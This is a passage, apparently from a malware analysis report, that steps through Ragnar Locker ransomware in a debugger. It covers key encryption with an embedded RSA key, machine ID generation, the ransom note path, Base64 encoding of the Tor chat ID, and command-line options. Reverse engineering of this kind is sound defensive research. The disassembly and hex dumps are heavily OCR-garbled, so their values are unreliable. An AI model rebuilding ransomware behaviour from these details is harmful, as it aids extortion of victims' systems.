2D 2D 2D[2D 42 45 47|49 4E 20 50[55 42 4C 49|5-—-- BEGIN PUBLI " ; :
20 48 45|59 2D 2D 2D 2D 2D 0A 4D |49 49 42 49|C KEY--—--.MIIBI e oon BEGIN PUBLIC KEY \oMIIBITANBgIahii
41 4E 42|67 6B 71 68|6B 69 47 39|77 30 42 41| jANBgkghkiGowoBA D019DEDC | BO19FAZD
45 46 41|41 4F 43 41|51 38 41 4D|49 49 42 43| QEFAADCAQS8AMIIBC DOL9DEED | GOSCEDDD
4B 43 41|51 45 41 79|72 46 36 GE|75 31 65 64|gKCAQEAyrFenuled D019DEE4 | 0O4CEDDA
66 34 5A(79 55 2F 37|43 74 58 0A|62 38 68 43|GF4Zyu/7CtX.BbshC 001905 EE | 00000148
54 41 51(4E 5A 72 65|79 38 59 50|4C 59 65 65 |+TAQNZreysYPLYee 00523988 | &™1.2.840.113549.1.1.1"

NN4NRINN| 35 44 a7 3nl71 21 37 arla9 37 RR 41lan 35 RA 4R

ENGNAT7KT7hAMS iF

0019D5EC

By calling a subroutine twice that calls CryptEncrypt(), the previous two cryptographically
random data that were generated by both calls to CryptGenRandom(), which were
subsequently modified through a series of operations, will be encrypted with the 2048-bit

public

key.

| 0040199B 8BO2 mov eax,dword ptr ds:[edx] ~ || wide EPu
e | 00401990 8945 10 mov dword ptr ss:|febp+10f,eax
e | 00401940 51 push ecx e
e 00401941 57 push edi edi:"- Eg gggééf;g Lier
e || 0401342 FC cld FoR EETTTTRE
| 00401943 8B75 08 mov esi,dword ptr ss:|febp+s]
¢ | 00401946 8B7D 10 mov edi,dword ptr ss:[ebp+100 EDX  0D40A004 edp. 00404004
e || 00401949 8B4D 0OC mov ecx,dword ptr ss:[ebp+C] EBP  OOL139DSEC
®|[ 004019AC C1E9 02 shr ecx,z ESE  00L13psco
e || D04019AF F3:AS rep movsd ESI  0O0D40A338 edp. 00404338
e | 00401981 8B4D 0OC mov ecx,dword ptr ss:|[Jebp+Cl EDI 00408090 R BEGIN PUBLIC KEY----- A
e || 00401984 83E1 03 and ecx,3
® | 00401987 F3:A4 rep movsh i EIP 004019CE edp. 004013CE
e | 00401989 SF pop edi edi:"-
e || D04019BA 59 pop ecx
e | 004019BE 8045 0OC lea eax,dword ptr ss:|[febp+C[) ;ELQGSPF 200223;4
e | 004019BE 53 push ebx OF 0 SED DE O
e | 004019BF ] push eax
¢| oos0139co FF32 push dword ptr ds:[edx] CFO0 TF1 IF1
| 004019C2 8B45 FC mov eax,dword ptr ss:|febp-4]
e/ D04019Cs 64 00 push 0 LastError 00000000 (ERROR_SUCCESS)
e || D04019CT 6A 01 push 1 Laststatus 00000000 (STATUS_SUCCESS)
&) 004019C9 &A 00 push o
®| 004019CE FF70 04 push dword ptr ds:[eax+4] GS D02B FS D053
[EIP g 11 FF15 24804000 call dword ptr ds:[<&CryptEncrypt>] ES D02B D5 002B
® | 00401904 BEFOD mov_esi,eax CS 0023 S5 D02B
e | 00401906 FF15 44514000 €all dword ptr ds:[<&GetLastError>]
ol ooiniems e pop edi . €di:"= | <T(0) 00DODODOOOOOOOOOOOOD XS7FO EMPty O.00000OI
5 oy Sonhoonimmninnn P e
e | 004019DF SE pop esi
| 004013E0 5B pop ebx Default (stdcal)
e || D04019E1 8BES mov esp,ebp 1: [esp] D0811F48 <a&CPGenkKey>
e || D04019E3 5D pop ebp [esp+4] 00000000
o | D04019E4 €z 0Coo FEt C [esp+8] 000000OL
o o [esp+C] 00000000
Woumpt  @lpump2  @Woump3  @lpump4  @MDumps @ watchi  Ix-llocals 4 Struct [ooiooocs ggg;;;;g
ASCIT || DOLSD5CE | 0OO0000L
001305CC | 00000000
00813718 |53 94 DE 37(4C 50 29 42(50 16 C1 A2(55 F3 2D 2B|S.P7LP)BP.AcU0-+ 00190500 | 00813718
00813728 (3C DE 87 94|B9 5C 2C BA|98 G6E E4 46|77 23 22 C3|<P.. ", %.naFws"A 00190504 | DOL305FS
00813738]21 7F SE DS|BD 3C SE AS|00 0O DO 0O]0D 0O 0O DOJf..@%<. woowwn. 00120508 | 00000190
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Via a call to GetComputerNameW(), and through the same series of operations that were
used to generate unique IDs for the CreateEventW() even object name (IpName), an hex
encoded ID is generated.

e|[004034D8 FF15 ESB04000 €all dword ptr ds:[<&GetComputerNamews=] | wide FPU
|| 004034DE 6A 04 pusn 4
|| 004034E0 68 DD300000 push 3000
|| 004034E5 GA 7F push 7F Eg ggiggigg
o || 004034E7 GA D0 push © o thrire
004034E9 FF1S 6C814000 €8l dword ptr ds:[<&virtualAlloc>] - —
s || 002034EF 8945 F8 mov dword ptr ss:[febp-g],eax EDX 00000042 B
o[ 004034F2 33F6 xor esi,esi EBF  OO01SFALOD
e[ 004034F4 8D85 40EDFFFF lea eax,dword ptr ss:[Jebp-12cof ESP  0019DSF4 &L "E354B8DBE"
o | 004034FA 50 push eax ESI 00710000 L"E354BDBE"
e || 004034F8 FF15 98804000 €all dword ptr ds:[<&lstrienws] ERI  000000OF
00403501 8BF3 mov edi,eax
00403503 3302 xor edx,edx EIP 0040353C edp.0040353C
|| 00403505 S5FF test edi,edi
o e| 00403507 v 7E jle edp.40352C 0
e[ 00403509 OF1F80 00000000 (nop dword ptr ds:[eax],eax ;EL:GSPF iuugg 34
| 00403510 OFB78C55 4DEDFFFRmovzx ecx,word ptr ss:|[ebpredx z-12c0]
00403518 a2 inc edx GO =0 Fd
00403519 81F1 3CFFO1AB Xor ecx,AB01FF3C CF o TFO IFL
e[ 0040351F 03F1 add esi,ecx i
e[ 00403521 3BCE mov eax,esi LastError 000000CB ({ERROR_ENVVAR_NOT_FOUND)
e || 004035 C1co oo rol eax,D LastStatus COO00100 (STATUS_VARIABLE_NOT_FOUND)
e | 00403526 2BFOD sub esi,eax
®| 00403528 3BD7 cmp edx,edi GS 002B  FS 0053
00403524| ~ 7C E4 i1 edp.403510 ES 0028 DS 0028
t-----e| 0040352C -3 push esi C5 0023 S5 0028
e[ 00403520 8BTS F& mov esi,dword ptr ss:llebp-sil
ol onaozzzo 5% BOS14000 gﬂ;n :g_lg.mnmn ST(D) 0ODOOODONOONOODODDON X87rD EMPty O.000000000000000000
e - . ST(1) 00000000000000000000 x87rl Empty O.000000000000000000
Eﬂ—>. TP ;:;‘E Q&'%:ggg ;;pengfa%gsrpg;'g;‘?fizggﬁml ST(2) 0000DOD0000ODOO00000 X87r2 Empty O.000000000000000000
= AUBSEERESEEEE] lea eax,dword ptr ss:[febp-775] ST(3) 00000000000000000000 x87r3 Empty 0.000000000000000000
o| 00403548 83C4 0C add esp,c ST(4) 0000DODOODODDOOO000D x87r4 Empty O.000000000000000000
e || 00403548 68 BOB5 4000 push edp. 408580 ST(5) 4002B000000000000000 x87r5 Empty B.000000000000000000
| 00403550 50 push eax ST(6) 3FFDCO00000000000000 x87r6é Empty O.3750000000000000000
. 83333221 E;Désssqooo mﬂ;l1 egf - p—— ST(7) 3FFFE000000000000000 X87r7 EMpTy 1.000000000000000000
3553 push edp.4085ES 8SES:L™
e | 00403558 68 10A14000 push edp. 404110 x87Tagword FFFF
|| 00403550 FFD7 call edi
s || 0040355F 56 push esi esi:L"e3sa | Default (stdcal)
®| 00403560 8B35 90804000 mov esi,dword ptr ds:[<&1strcatw:] esi:L"E354 1: [esp+4] 004081B0 L"%08X"
e || 00403566 68 10A14000 push edp. 40A110 2: [esp+8] E354EDBG
00403568 FFD6 call esi _ w|[3: [esp+C] 00404DBEC <edp.EntryPoint>
o vy o e e cord e corer e 3i [e=hiid] 0000ODOO
Woump1  @oump2  WWDump3  WWDump4  @WDumps @ watthi  keelLocaks & stuct | (00190 Es gcoi;gmo t--;gﬁ;ﬁn“
Hex ASCIT ] 001905FC | E354BDBE .
00710000 |45 00 33 00|35 00 34 0D 42 0D 36 0D|E.3.5.4.8.D.8.6. E;giggigs gg;g;ggﬁ edpiEntrEoint
00710010 |00 00 00 00|00 00 00 O0|DO 00 OO0 OC|00 00 00 00. cooo 00190608 | B000DO00
00710020|00 00 00 00|00 00 0O ooloo oo oo ooloo oo oo oof. AAranens | AnaReara

Through concatenation, by making use of IstrcatW(), and a call to
SHGetSpecialFolderPathW() with csidl CSIDL_COMMON_DOCUMENTS, the path
C:\Users\Public\Documents\RGNR_E354BDB6.txt is built.
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T‘ ®| 00403519 81F1 3CFFOl1AB Xor ecx,ABOLFF3C A
! ®| 0D040351F 03F1 add esi,ecx
! ®| 00403521 BECE mov eax,esi eax: L"C:\hUsersh\Public\\Dot
I e 004032523 C1C0 0D rol eax,D eax:L"C:\\Users\\Public\\Do¢
1 ®| 00403526 2BFO sub esi,eax eax: L"C:\\Usersy\Public\\Dot
g ®| 00403528 3BD7 cmp edx,edi
L----@| O040352A ~ FC E4 j1 edp.403510
& | 0040352C 56 push esi
®| 00403520 SB7S F& mov esi,dword ptr ss:|lebp-3] [ebp-8]:L"E354BDBG"™
®| 00403530 &8 BOS814000 push edp.4081E0 4081B0: L"%08X"
& | 00403535 143 push esi
®| 00403536 FF15 A4314000 €all dword ptr ds: [<&wsprintfa=]
® | 0040353C 8B3D BC304000 mov edi,dword ptr ds:[<&1strcpyi:=]
®| 00403542 8DS85 BSBFSFFFF 1ea eax,dward ptr ss:|febp-775]
®| 00403548 83C4 0OC add esp,cC
®| 0040354B 658 BOSS5 4000 push edp.4085B0
®| 00403550 50 push eax eax: L"C:\hWUsersh\Publici\Dot
®| 00403551 FFD7 eall =di
®| 00403553 658 E&854000 push edp.4085EB 4085E8: L"RGNR_"
®| 00403558 658 10414000 push edp.40A110 404110: L"RGNR_E354BDBG. TxL”
® | 00403550 FFD7 eall edi
@ | DD40355F 143 push esi
®| 00403560 SB35 90804000 mov esi,dword ptr ds:[<&1strcatih=]
®| 00403566 658 10414000 push edp.40A110 404110: L"RGNR_E354BDBG. TxL”
®| 00403568 FFD& earl esi
®| 00403560 68 F4854000 push edp.4085F4 4085F4:L". L™
®| 00403572 658 10414000 push edp. 404110 404110: L"RGNR_E354BDBG. TxL”
® | 004035 FFD& call esi
®| 00403579 &5 10AL14000 push edp.40A110 40A110: L"RGNR_E354BDEG. TXL"
®| D040357E 8DS85 B88FSFFFF lea eax,dword ptr ss:|[lebp-775]
®| 004035584 50 push eax eax: L"C:\\Usersh\Public\\Dot
#®| 00403585 FFD& earl esi
®| 00403587 &4 00 push 0
®| 00403589 6A ZE push 2E
®| 00403588 658 10404000 push edp.40A010 40A4010: L"Ciy\hUsersh\Publich®
® | 00403590 &4 00 push 0
®| 00403592 FF15 54314000 €all dword ptr ds:[<&0rdinal#l7s>]
®| 00403598 8DB5 B3FSFFFF lea eax,dword ptr ss:|febp-775]
@ | 0040359E 50 push eax eax: L"C:\\Usersy\Public\\Dot
®| 0040359F 65 10A04000 push edp.40A010 4040103 L"CiNNUsersy\PubTich?
®| 00403544 FFD& eanl esi
EIF e T FF758 C4 push dword ptr s=s:[ebp-3C] [ebp-3C]: "EbECAZb2AFFTBC1DT
& | 004035A9 8D85 GOFEFFFF 1ea eax,dword ptr ss:|ebp-1A0])
™ AL AN A [alaY YT S T T Amswal Mra b Ve Al st AR TS S s
£ >
Pebump 1 Ppump2 BWoump3  @Wpumps @ Dump s & struct | [noi90604 gg;g;ggg edp. EntryPo
Address | Hex ~ || DOLS0EDE | 00000000
0040A010 | 43 00 3A 00(5C 00 55 00|73 00 &5 00|72 00 73 00 ggiggg?g ggg’ggggg
004040201 20 00 20 00 _—_— D0130614 | 0D4A3370
0040A030| 44 00 6F 00|63 00 75 00|gD 00 8% Q0|(6E 0D 74 0O 00190618 | 001C001C
00400401 22 00 22 00 4E 0D 52 DO\2F 00 22 00 0D019061C | 00045288 | L"kernelbas
0040A050( 33 00 35 00 44 00 42 00|36 00 ZE 00 00190620 | 0000D02A
0040A060 | 74 00 78 00|74 00 00 00|00 00 00 00|00 00 00D 0O -
nnanan7nl an oo oo koo o0 o o koo 0 e ol e e N e 00130624 | 00000016

Along the way, a block of heap memory allocated via RtlAllocateHeap() is called with
HEAP_ZERO_MEMORY as Flags, which initializes it with 0's. For some reason, this memory
area will be, again, zeroed out after the call to RtlAllocateHeap().

®|(DD4035F8

BECO

test eax,eax

: | Hide FPU
—————————— e| 004035FA| v 74 5A je edp.403656
& DD4035FC FF75 E4 push dword ptr ss:|Jebp-1cC 005770C0
¢ 004035FF 6A 08 push s % DOL3FAZD
& 004032601 FF15 S5C814000 €all dword ptr ds:[<a&GetProcessHeap>] ECX 0000005 9 e
®( 00403607 50 push eax
|| 00402608 FF15 64814000 €all dword ptr ds:[<&RtT1AllocateHeap>] EDX 40000068
¢ | 00403608 BEFS mov edi,eax EEF  OOL3FALO .
& | 00402610 85FF test edi,edi ESP 00130600 <&ENTryPoint>
-------- e|[ 00403612 v 74 42 je edp.403656 ESI Q0000040 et
&( 004032614 8B4D E4 mov ecx,dword ptr ss:lebp-1C] EDI 005770C0O
¢ 00403617 85C9 test ecx,ecx
oo e| 00402613 ~ 74 10 je edp.40362B B - EIP 00403620 edp. 00403620
i _)- 00403618 OF1F 4400 00 nop dword ptr ds:[eaxt+eax],eax
m » |G ] &00 0O mov byte ptr ds:[eax],0 EFLAGS 00000206
g | ®( 00403623 8040 01 lea eax,dword ptr ds:[eax+l] ZE O PF 1 AF O
l s | 00403626 83E9 01 sub ecx,l OF 0 SFO DF O
i l——e| 00403623| -~ 75 FS jne edp. 403620
—————— e || 00403628 8D45 E4 lea eax,dword ptr ss:[ebp-1C[] CFO TFO IF1
#( D040362E 50 push eax
0040362F 57 push edi LasteError 000003F0 (ERROR_NO_TOKEN)
¢ | 00403630 68 01000040 push 40000001 LastStatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)
#( 00403635 56 push esi
#|( DD403636 8D85 BOFEFFFF Tea eax,dword ptr ss:|febp-1a0] G5 0D2B FS 0053
& | D040363C 50 push eax B B ES DOZE QS 002B
®|[ 00403630 FF15 5C804000 €alll dword ptr ds:[<&CryptBinaryToStringa=] C5 0023 55 00ZB
¢ 00403643 85C0 test eax,eax
e ggjgfg:i N ;? 0F jﬂghegg%4°3555 ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
ol 00403048 so gush e ST(1) 00000000000000000000 X871 EMPTY 0. 000000000000000000
ol 00402643 EF15 SC814000 €all dword ptr ds:[<aGetProcessHeaps] ST(2) 00000000000000000000 X872 Empty 0.000000000000000000
o oo40364F 50 push eax ST(3) 00000000000000000000 X87F3 Empty 0.000000000000000000
e oD4a03650 FF15 60814000 €all dword ptr ds:[<&HeapFreex] ST({4) 00000000000000000000 X87r4 Empty 0.000000000000000000
¢ 00403656 6A push 0 ST(51 _40028000000000000000 Xx87r5 Emotv 8, 000000000000000000
¢| 00403658 68 80000000 push 80 Default (stdcal
¢ | 00403650 GA 04 push 4 = 6 I
e 0040365F 6A 00 push 0 L: [espt4]
o || 00403661 64 00 push 0 2: [esp+8] 00000000
e 00403663 68 000000C0 push C0O000000 v | 3: [esp+C] 0DO56B0G4
< 4: [esp+10] 00000000
-
: 00404DBC | edp. EntryPoint
Woump1  @oump2  @oump3  Woump4  @oumps & watcht  [x=lLocals & struct 0150604 | 00000000 - —~
Hex AsCIT ~ | 5615580¢ | 005 eaoea
005770C0 |00 00 00 0000 00 00 00(00 00 00 00[00 OO0 OO0 00190610 | 00000000
00577000| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00130614 | 005 634C8 | ™\ \ 4v™
005770E0| 00 00 00 00|00 00 00 00|00 0O 00 00|00 00 OO0 00190618 | DD1CO0IC
ggg;;g;g gg gg gg gg gg gg 33 gg gg gg gg gg gg gg gg DDLQDG})C 00045288 | L"kernelbase.d11api-ms-win-core-appcompat-11-
00577110| 00 00 00 00|00 00 00 00|00 AB AB AB|AB AB AB ggtggg;g ggggggi’é
00577120|AB 00 00 00|00 00 00 00|00 0O 00 00|00 OO0 OO0 00190628 | 00S GAE 40
00577130|0F DB 18 9E|EC OE 00 00|CD 4C 57 00|C0 €1 57 00|. NN1anErC | BONONNAR
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The Tor client chat ID previously decrypted is then converted to Base64, by making a call to
CryptBinaryToStringA(), as seen by the use of dwFlags set to CRYPT_STRING_BASE64.

*[[0D4035E2 50 push eax ~ =
®|| 004035E3 6A 00 fide PP
i [Jmn 35 e E3 CElTrEI F‘USh So000002 EAX  0019F870 " 6bECAZb2AFFFBCIDFFOaanEaaAd468bec0903bs e4Ea5 8ecde3C264bC55C7389E"
®|| 004035EA 56 push esi EBX  O013FAZ0
®|| 004035EB 8D85 GOFEFFFF 'Ieaheax ydword ptr ss:[febp-1A0] Eo?  GrasTass
®|| 004035F1 50 push eax
* || 004035F2 FF15 5C804000 €all dword ptr ds:[<&CryptBinaryTostringA=] B CLEIEIED
* || 004035F8 85CO test eax,eax EB E OGS0 "
__________ e[| 004035FA| -~ 74 5A je edp.403656 ESE  D01905EC &"6bECAZb2AFFTBCIDTFDaa0Eaasd468bec0903b5 e4Eas 8ecde3C264bC55C7389E
® || 004035FC FF75 E4 push dwurd ptr ss:lfebp-1cl ESI 00000040 ar
. 6A 08 EDI  004B90ES
. FF15 5CB14000 ca'l1 dwurd ptr ds:[<&GetProcessHeap>]
. push eax EIP 00403630 edp. 00403630
. FF15 64814000 €all dword ptr ds:[<&Rt1AllocateHeap=]
. BBF3 mov edi,eax
: HE Tore o oot EFLaGs 00000245
v 74 42 je edp.403656 OF 0 SEO DF O
BB4D E4 mov ecx,dword ptr ss:|febp-1C]
85C9 test ecx,ecx CFO0 TFO IF1
~ 74 10 je edp.40362B
OF1F4400 00 nop dword ptr ds:[eax+eax],eax LastError 000003F0 (ERROR_NO_TOKEN)
C600 00 mov byte ptr ds:[eax],0 LastsStatus COD0D034 (STATUS_OBJECT_NAME_NOT_FOUND)
BD40 01 lea eax,dword ptr ds:[eax+1]
B3E9 01 sub ecx,l GS D02B  FS 0053
~ 75 F5 jne edp. 403620 ES DDZE DS O0ZB
BD45 E4 lea eax,dword ptr ss:|[febp-1C]) CS 0023 S5 002B
50 push eax
57 push edi
B mRTTETaD bush 40000001 ST{0) 00000000000000000000 x87r0 Empty 0.000000000000000000
push esi ST(1) 00000000000000000000 Xx87rl Empty 0.000000000000000000
3085 GOFEFFEF Tea eax dword ptr ss:[ebp-1A0] ST(2) 0000000000000D000000 X87r2 EMPTy 0.000000000000000000
push sax ST(3) 00000000000000000000 Xx87r3 Empty 0.000000000000000000
FF15 5C804000 call dword ptr ds:i[<&CryptBinaryToStringA-] ST{4) 0000D0000D0O0D000000 X87rd Empty 0.000000000000000000
85C0 test eax,eax ST(5) 40028000000000000000 X87r5 EmMPTy &.000000000000000000
~ 75 OF jne edp. 403656 ST(6) ZFFDCO00000000000000 X87r6 Empty 0.3750000000000000000
57 pusn edi ST{7) 3FFFA000000000000000 X87r7 Empty 1.000000000000000000
50 push eax
;515 5814000 g:;:‘ d:or‘d ptr ds:[<&GetProcessHeap»] x87Taaword FFFF
FF15 60814000 call dwor‘d ptr ds:[<&HeapFreex] Default (stdcall)
push 1: [esp] 0019F870 "6bECAZbZAFFFBCIDFT0aa0Eaand468bec0903bse4Eas8ecde3C264bC55C7389E"
68 80000000 DuSh 00 2: [esp+4] 00000040
6A 04 push 4 w|[3: [esp+8] 40000001
< TR Lo > 4: [esp+C] O04BINES

2 Q019FB70 | "6bECAZbZAFFFBCIDTf0aa0EaaAd468bec0903bs e4EasBecde3C264bC55C7389E™
W4 Dump 1 $9Dbump2  @WDump3  WWDump4 B Dump s 8 watch 1 [v=lLocals ' struct — — —~ — —~

001205F 0 00000040
001205F 4 [ 40000001
Hex ASCIL » |l 0o1205Fs | 004BS0ES
36 62 45 43[41 32 62 32|41 46 46 66|42 43 31 44|BDECA2bBZAFFTECID 001305 FC | OD19EIF4
66 66 30 61(61 30 45 61|61 41 64 34|36 3B 62 65| ff0aanEaard46sbe 00130600 | 00404DEC | edp. EntryPoint
63 30 39 30(33 62 35 65|34 45 61 35 38 65 63 64|c0I03bSedEassecd 00130604 | 00000000 P bl
O019F8AO| 65 33 43 32(36 34 62 43[35 35 63 37|33 38 39 45 |e3C264bCS5C7389E e e

The previously decrypted specifically targeted ransom note that will be left in the attacked
systems is then written via WriteFile() to the

C:\Users\Public\Documents\RGNR _E354BDB6.txt path that had been built moments prior,
by first opening it via CreateFileW() with dwDesiredAccess of GENERIC_READ |
GENERIC_WRITE.

3 FFIE E0sido00 MMM dwora pir st [EERESERERRT A e oo
. 68 80000000 push 0 B ConigrT 15
= G 2 Py EBX  DD19FAZ0
. 6A 00 push 0 q ] o
. & s ECX  0019F984 &"cryptImportPublickeyInfo
. 68 D0DODOCO push CODDODOD ED e ol
. 68 10A04000 push edp.40A010 EBF  OO013FALO0
. FF15 C4B04000 €a11 dword ptr d : (&(reateF]]e\rb] ESE 0019DSEC N .
. 8545 FC mov dword per ss:lieop-sll, ESL 77CF4320 <kernelsz.writeFile-
. 85C0 test eax,eax EDI  004B30ES “NmIFQOEYY] IR KZMQKMXR GZTMGF HMEVHYUF KND Y4YmV JMD kil 2 T1ZTR FYTU4ZWNKZ TRDM J YOY kM 1NWM 3Mz 0SRQ=="
. v 74 62 e edp. 4036DC
. 8835 20814000  |mov esi,dword <awriteFiles] EIP 00403630 edp. 0040368D
. 4D A4 Tea ecx,dword ebp-5c]]
= oo [ @ EFLAGS 00000206
. 51 push ec ZF 0 1 AF 0
. FF75 C8 push dword ptr A
. FF75 D8 push dword ptr
= o B nlear CFo TFo IF1
EE——>e call es1
. 68 00864000 push edp. 408600 LastError 0DDDOOB? (ERROR_ALREADY_EXISTS)
. 68 54864000 push edp. 408654 LasTSTatus COOD0034 (STATUS_OBIECT_NAME_NOT_FOUND)
. push edi
. 68 54864000 push edp. 408654 GS 0028 FS 0053
. 68 00864000 push edp. 408600 £5 0028 DS 0O2E
. 8DS5 BSFDFFFF | lea eax,dword ptr ss:[ebp-4s] Cs 0023 55 002B
. 68 68864000 push edp. 108668
. 50 push eax
- . ST(0) 0DDOOODDOODODDOODDDD X87r0 Empty O.0000DDODODOOODDDOD
. C5es fos14000 ;:Peggwd prr ds: [EEESARRE | ST(1) 00000000000000000000 X87rl Empty 0.000000000000000000
= s BereEe | lea eaxiowora per ss:fenp-2c] ST(2) 0DDOOODDDODDDDOODDDD Xx87r2 Empty O.0000DDODODOOODNOOC
. 50 push ea ST(3) 000DD0DODOD000DD000D X87F3 EMPTY 0.000000000000O0000D
. $P15 94804000 | &MY dword prr de:[<slstrisnas] 5T(2) 0DDOOODDDOODODOODDDO XxS7r4 Empty O.0000DDODODOOODODOO
. 64 00 push o ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
. 8D4D A4 Tea ecx,duord per ==:febp-sc] ST(6) 3FFDCODODODO00DD0000 X87r& EMPTY D.3750000000000000000
. 51 push ec ST(7) 3FFF2000000000000000 X87r7 Empty 1.000000000000000000
. 50 push ea
. $D85 BSFDFFFF ;52 eax, ~dword per ss:febp-242] x87Tagword FEEF
. FF75 FC push dwnrd ptr ss:[Jebp-4] Defailt (stdcall)
. FFD6 ca 1t [esp] 00000
. 8B45 FC mDV Eﬂﬁ dword ptr ss:[ebp-4]) 2: [esp+4] DD4DEE?D &dp. 0040BE70
50 push eax P - w|[3: [esp+s] 00000B74
Toon Tnonsnan o e TeemRmm e > 4: [esp+C] O019F9B4 &"CryptImportrPublickeyInfo”
P 0000029C
Woumpi  @hoump2 @oumps  Wpumpa  @lpumps @ watch1  Ie-llocas ) Struct 0040BE70 | edp. 0040BE7D
Address | Hex ~ 00000874 | . .
O040BE7O|2A 2A ZA 2A|2A 2A 2A 2A|2A 2A 2A 2A[2A 2A 2A et ead b [CEVPEIPaRERUBLICREVIRTT
0040BESD Za 24 24 24 24 .
et 00404DBC | edp. EntryPoint
00000000
0040BEAD
00000000
0040BEED
004AF2F 4
0040BECO
00000000
0040BEDD
00443370
0040BEED
0040BEFD 0100157 e 0 . o
et 00045288 | L"kernelbase.d11api-ms-win-core-appcompat-11-1-1
0040BF 10 HELLO EDP.com ! 090000Te
0040BF20 .. If you readin oo3acong
0040BF30 g this message, ooannnae
0040BF40 | 7 z: then your networ oor907as
0040BF50 77 61|73 20 50 45 k was PENETRATED ootmine
00D40BF60(20 61 GE 64|20 61 6C 6C and all of your olpoas
00408F70| 20 66 69 &C|65 73 20 61 files and data © e

Then, through concatenation, the "RAGNAR SECRET" will be appended to the file, which is
simply the Base64 encoded version of the Tor client chat ID.
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8945 FC

mov dword ptr ss:|ebp-4],eax

~ | Hide FPU
85C0 Test eax,eax
~ 74 62 je edp.4036DC EAX  0OD19F7C8 R [ Y o 5 6 55
8B35 20814000 |mov esi,dword ptr ds:[<@WriteFiles] BN Greehen AT
D40 A4 lea ecx,dword ptr ss:|[febp-5C " "
£a 00 push © ECX  0O0D19F3B4 e
51 push ecx EDX  O0D19F7C9 W
FF75 C8 push dword ptr ss:|febp-35] EEF OO13FALD
FF75 D8 push dword ptr ss:|febp-25] ESE OOLSDSEC
4] push eax EST 77CF4320 <kernel3z.writerFilex
FFD gall esi EDI  OD4B30ES "NMIFQOEYY j 18R KZMQKM xR GZMMGFHMEVhYUFKNDY4YmViMD
68 00864000 push edp. 408600
;’:;- 54864000 Dusn egp--‘USGS-‘ EIP  004036D7 edp. 00403607
push edi
68 54864000 push edp. 408654 EFLAGS 00000202
68 0D0BE4000 push edp. 408600 ZF O PFO AF O
8D85 BSFDFFFF lea eax,dword ptr ss:[lebp-z4s]) OF 0 SFO DF O
68 63864000 push edp. 408668
5o Bush eax CFO0 TFO IF 1
FF15 AO0S14000 €all dword ptr ds:[<&wsprintfa=]
83C4 1C add esp,1cC LastError 0O00000BT (ERROR_ALREADY_EXISTS)
8D85 BBFDFFFF lea eax,dword ptr ss:[[ebp-243] LasTSTatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)
50 push eax
FF15 94504000 (‘_ﬂ'l;!l dword ptr ds:[<&lstrlenA=] G5 0028 FS 0053
6A 00 push 0 ES 0028 D5 002E
??-40 A4 gsghegzidwurd ptr ss:[lebp-5Cl CS 0023 S5 002B
ggas T ?:zhesi)‘dwwd & cof par 5T(0) 0000DD0D000000000000 X87r0 Empty 0.000000000000000000
=) e G ptr ss:ilgebp-2 ST(1) 00000000000000000000 x87rl Empty 0.000000000000000000
EF7S FC push dword ptr s=:[ebp-4] 5T(2) 00000000000000000000 x87r2 Empty 0.000000000000000000
EFDG Elresi 5T(2) 00000000000000000000 x87r3 Empty 0.000000000000000000
8845 FC mov eax,dword ptr ss:|[[ebp-4] ST(4) 00000D000000000000000 x87r4 Empty 0.000000000000000000
1} push eax ST(5) 40028000000000000000 X87rs EMPTY 8.000000000000000000
FF15 70804000 €all dword ptr ds:[<&CTloseHandlex] 5T(6) 3FFDCO00000000000000 X87r6é Empty 0.3750000000000000000
Al 8CB04000 muvheag,dwurd ptr ds:[<&lstrcpyws] ST(7) 3FFFS000000000000000 x87r7 Empty 1.000000000000000000
68 84864000 push edp. 408684
ggngoﬂ‘woo E:?f; 222-40‘\310 x87Tagword FFFF
FF75 F8 push dword ptr ss:|[Jebp-c[J Default (stdcall)
8B3D 20804000 mov edi,dword ptr ds;[<&lstrcati=] 1: [esp] 0000023C
68 10A24000 push edp. 404210 27 [ESDTA] DDLOFTCE ™\ [\ IF#FRa A& b bk ok o 8 6
FFD7 l:l!"AEﬂT_l _— . w( 2: [esp+8] 00000134
e e e e o e Bl AW o 4 [esp+c] DD19F9R4 "t\v"
3 000002 9C
24 Dump 1 Y44 Dump 2 U4y Dump 3 4 Dump 4 Y44 Dump 5 B watch 1 [x=] Locals 2 struct DO019F7CE | "\rin
Haaress T e O e | .
0019F7C8|0D DA 2ZA 2A[2A 2A 2A 2A[2A 2A 2A zA[z2A 001305 EC | DOODD0DD
0019F7D8|2A 2A ZA 2A|2A 2A ZA 2A|2A 2A 2A 2A(2A 00120200 | 00404DEC | edp. EntryPoint
O019F7ES|2A ZA 2ZA 2A|2A 2A 2A 2A|2A 2A 2A 2A(2A e G EeD .
DD19F7F8|2A 2A ZA 2A|2A 2A 2A 2A|2A 2A 2A 2A|2A 00130603 | DOODD0DD
0019F808|2A 2A ZA 2A|2A 2A ZA 2A|2A 2A 2A 2A(2A 00150600 | DOAAF2F4
OO TOESTE (12 R age o 20 00150610 | 00DDDDDD
0019F828|41 52 20 AR SECRET-—-.. 0010614 | DO4AZ3TO
0019F838| 44 46 51 JFQOEYY]IBRKZmQk 001o0e1s | D01CD01C
O0L19F848|4D 78 52 MXRGZMMGFAMEVhYU 0019061C | 00045288 | L kernelbase. d11api-ms-win-core-appcompat-11-1-1"
D019F858| 46 6B 4E FKNDY 4YmVIMD kw2 00130620 | DOODDDZA
0019F868| 43 31 5A I1ZTRFYTU4ZWNKZT s
0019F878|4E 44 4D NDM 3 YOYkMLNWM3MZ ggi;gg:; gggﬂgg&g
0019F888| 67 35 52 gsRO== AGNA 001062 | DOODDD4E
0019F898|52 20 53 ez
00130630 | 0019D7A8
O019FBAE| 24 2A ZA 00190634 | 0O19DEDE
LIRS 2 2 2 00150635 | 0101D6AS
0019F8CE| 24 2A zA Anroneae | Aznynena

After the file with the ransom note has been written to, the ransomware will check if argc

(argument count) is higher than 1. The ransomware can be executed with "-list" or "-force"
command line options. These are simply used to determine how the paths that will be used
as base to start file encryption are obtained. The command line option "-list" gets the paths

from a file given as argument, while "-force" starts file encryption from the path given as
argument. Since the end goal is file encryption, and these command line options were
probably used solely during development for testing purposes by the attackers, we will
continue examining as if no arguments are given, i.e., argc == 1.

38/52



[ETF e 0403704 837D EO OL cmp dword ptr ss: [ebp-20],1

[Pooooooo & || 00403708 OF8E E7OOOC000 jle edp.4037FS

i ® || 004037 0E 8B45 FO mov eax,dword ptr ss:|[febp-10§

